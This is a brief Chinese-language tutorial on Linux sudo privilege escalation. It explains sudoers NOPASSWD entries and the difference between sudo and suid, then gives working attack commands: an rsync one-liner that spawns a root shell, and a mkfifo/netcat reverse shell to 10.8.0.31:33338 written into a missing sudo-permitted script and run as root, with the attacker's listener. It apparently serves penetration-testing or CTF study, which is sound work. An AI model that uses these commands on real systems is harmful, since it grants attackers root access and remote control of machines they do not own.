概念:
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。当使用sudo接命令时,linux系统会在sudoers文件中查找前用户,根据当前用户权限配置来决定是否可以运行相关命令。
配置文件:
/etc/sudoers:文件是sudo权限的配置文件
sudo -l:查看当前用户sudo可用的命令
## Allow root to run any commands anywhere
test ALL=(ALL:ALL) NOPASSWD:/usr/bin/less
# test表示用户名
# 第一个ALL 指示允许从任何终端访问sudo
# 第二个(ALL:ALL)指示sudo命令被允许任意用户、任意组执行
# 第三个NOPASSWD 表示不需要输入密码而可以sudo执行的命令
从进程权限的角度看,sudo与suid的区别是ruid的不同,sudo执行命令创建的进程 ruid=0、euid=0,而具有suid的命令执行时创建的进程 ruid=uid(用户本身的id)、euid=0
参考链接:
案例:
1、rsync
sudo -l
提权
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
2、其他文件
sudo -l
发现没有/opt/tools/server-health.sh文件
提权
在/opt
目录下创建指定目录,并写入反弹shell
cd /opt
mkdir tools
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.0.31 33338 >/tmp/f' > server-health.sh
chmod +x ./server-health.sh
sudo ./server-health.sh
攻击机监听
nc -nvlp 33338